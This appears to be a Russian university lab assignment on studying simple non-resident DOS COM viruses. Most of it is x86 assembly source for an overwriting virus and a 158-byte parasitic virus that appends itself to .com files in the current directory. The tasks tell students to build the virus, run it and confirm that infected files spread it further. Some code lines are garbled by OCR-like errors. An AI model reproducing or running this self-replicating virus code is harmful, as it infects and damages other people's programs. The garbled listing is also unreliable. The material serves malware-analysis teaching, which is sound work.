ЛАБОРАТОРНАЯ РАБОТА № 3

"Исследование работы не резидентного СОМ вируса"

Цель работы. Исследовать на примере внедряющегося и перезаписывающегося вирусов работу простейших не резидентных СОМ-вирусов.

Краткие теоретические сведения

Программный объект, который заражается компьютерным вирусом называется жертва, программный объект, который уже содержит вирус и при запуске которого запускается вирус называется носителем.

Простейшие СОМ вирусы заражают файлы в текущем каталоге. Наиболее простым является перезаписывающий СОМ вирус, который находит файл в текущем каталоге и замещает его своим телом. Минимально необходимый набор подсистем данного вируса — подсистема поиска объекта заражения и подсистема заражения. Попробуем представить как должен выглядеть вирус такого типа, имеющий минимальный размер.

Первое что необходимо вирусу – найти файл по маске

```
mov ah, 4Eh
mov dx, offset fmask
int 21h
```

При этом маска для поиска файлов размещается в области данных имеет вид mask db '*.C*', 0

Поскольку вирус должен быть минимального размера, то проверки на успешность срабатывания функций MS-DOS мы производить не будем.

Следующим шагом после нахождения файла будет его открытие

```
mov ax,3D02h
mov dx,9Eh
int 21h
```

Опять проверки мы не производим, предполагая, что функция сработала успешно. Теперь просто записываем тело вируса в начало файла.

```
xchg ax,bx
mov dx,100h
mov ah,40h
mov cl,vir_len
int 21h
Затем закрываем файл и выходим из программы.
mov ah,3Eh
int 21h
ret
Длину вируса определяем константой
vir_len equ $-vir
```

Учитывая стандартные начало и конец COM программы исходный текст простейший Overwriter вируса будет занимать 35 байт.

Внедряющийся вирус в отличие от перезаписывающего сохраняет работоспособность носителя, обычно восстанавливая его в памяти и передавая ему управление. Заражение может происходить записью вируса в начало, середину и конец файла. Наиболее простым способом является заражение в конец файла, при этом вирус организует передачу управления на свой код

Простейший внедряющийся СОМ вирус отличается наличием процедур отвечающих за нахождение своего тела в теле жертвы (для адресации своих внутренних переменных), восстановление носителя и передачи управления носителю.

Далее приведен

Простейший Parasitic (158 байт)

```
Моделируем зараженную программу
start:
jmp near ptr vir
db '7'
                            ;7 - признак заражения
Определяем дельта смещение
vir:
                       ; Начало вируса
call next
next:
                       ; В регистре bp адрес метки next
qd qoq
sub bp,offset next
Восстанавливаем программу-носитель
fresh_bytes:
mov ax,[bp+offset old_bytes]
mov cs:[100h],ax
mov ax,[bp+offset old_bytes+2]
mov cs:[102h],ax
Ищем жертву – первый сот файл по маске
find first:
mov ah, 4eh
xor cx,cx
lea dx,[bp+offset maska]
int 21h
jc exit
Заражаем жертву. Сначала открываем найденный файл для чтения и записи
open:
mov ax,3d02h
lea dx,ds:[09eh]
int 21h
jc exit
```

```
Coxpаняем первые четыре байта в переменной old_bytes
save_bytes:
mov bx,ax
mov ah,03fh
mov cx,4
lea dx,[bp+offset old_bytes]
int 21h
jc find next
Проверяем метку заражения
proverka:
cmp byte ptr[bp+old_bytes+3],'7'
jz find next
Перемещаем указатель чтения записи на конец файла
write_vir:
mov ax, 4202h
xor cx,cx
xor dx,dx
int 21h
jc find_next
Вычисляем куда будет прыгать ітр в начале зараженного файла
sub ax, 3
mov [bp+offset new_bytes+1],ax
Пишем вирус в конец файла
mov ah, 40h
mov cx,vir_len
lea dx,[bp+offset vir]
int 21h
jc find next
Перемещаем указатель чтения записи на начало файла
write_bytes:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc find_next
Перезаписываем первые четыре байта заражаемого файла
mov ah, 40h
mov cx,4
lea dx,[bp+offset new_bytes]
int 21h
Ищем следующий файл по маске
find next:
mov ah, 3eh
int 21h
mov ah,4fh
```

```
int 21h
jnc open
Передаем управление на начало восстановленного носителя
exit:
mov ax,100h
push ax
ret.
Далее
     располагается
                     область
                                      вируса.
                                              Здесь
                             данных
                                                     сохраняются
оригинальные байты заражаемой программы
old bytes dw 090c3h
                        ;команды ret и nop
dw 03790h
                        ;пор и метка заражения
Далее располагается маска для поиска файлов
maska db '*.com',0
Новые байты записываемые в начало жертвы
new_bytes db 0e9h ;команда jmp
dw 0
                        ; смещение на которое прыгает јтр
db '7'
                        ;метка заражения
Далее вычисляется длина вируса
vir_len equ $-vir
end start
```

Порядок выполнения работы

- 1. Создать простейший СОМ вирус согласно исходному тексту.
- 2. Исследовать работу вируса в отладчике.
- 3. Запустить вирус и убедиться, что он заражает СОМ файлы.
- 4. Запустить зараженные СОМ файлы и убедиться, что они корректно работают и заражают далее другие файлы.
- 5. Добавить сохранение и восстановления даты и времени файла.
- 6. Реализовать другим способом.

Содержание отчета по выполненной работе

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

Контрольные вопросы

- 1. Что такое внедряющийся СОМ вирус.
- 2. Что такое перезаписывающий СОМ вирус.
- 3. Какие функции работают с файлами.
- 4. Какие команды можно применять в шифровании?
- 5. Объясните работу предложенного фрагмента из лабораторной.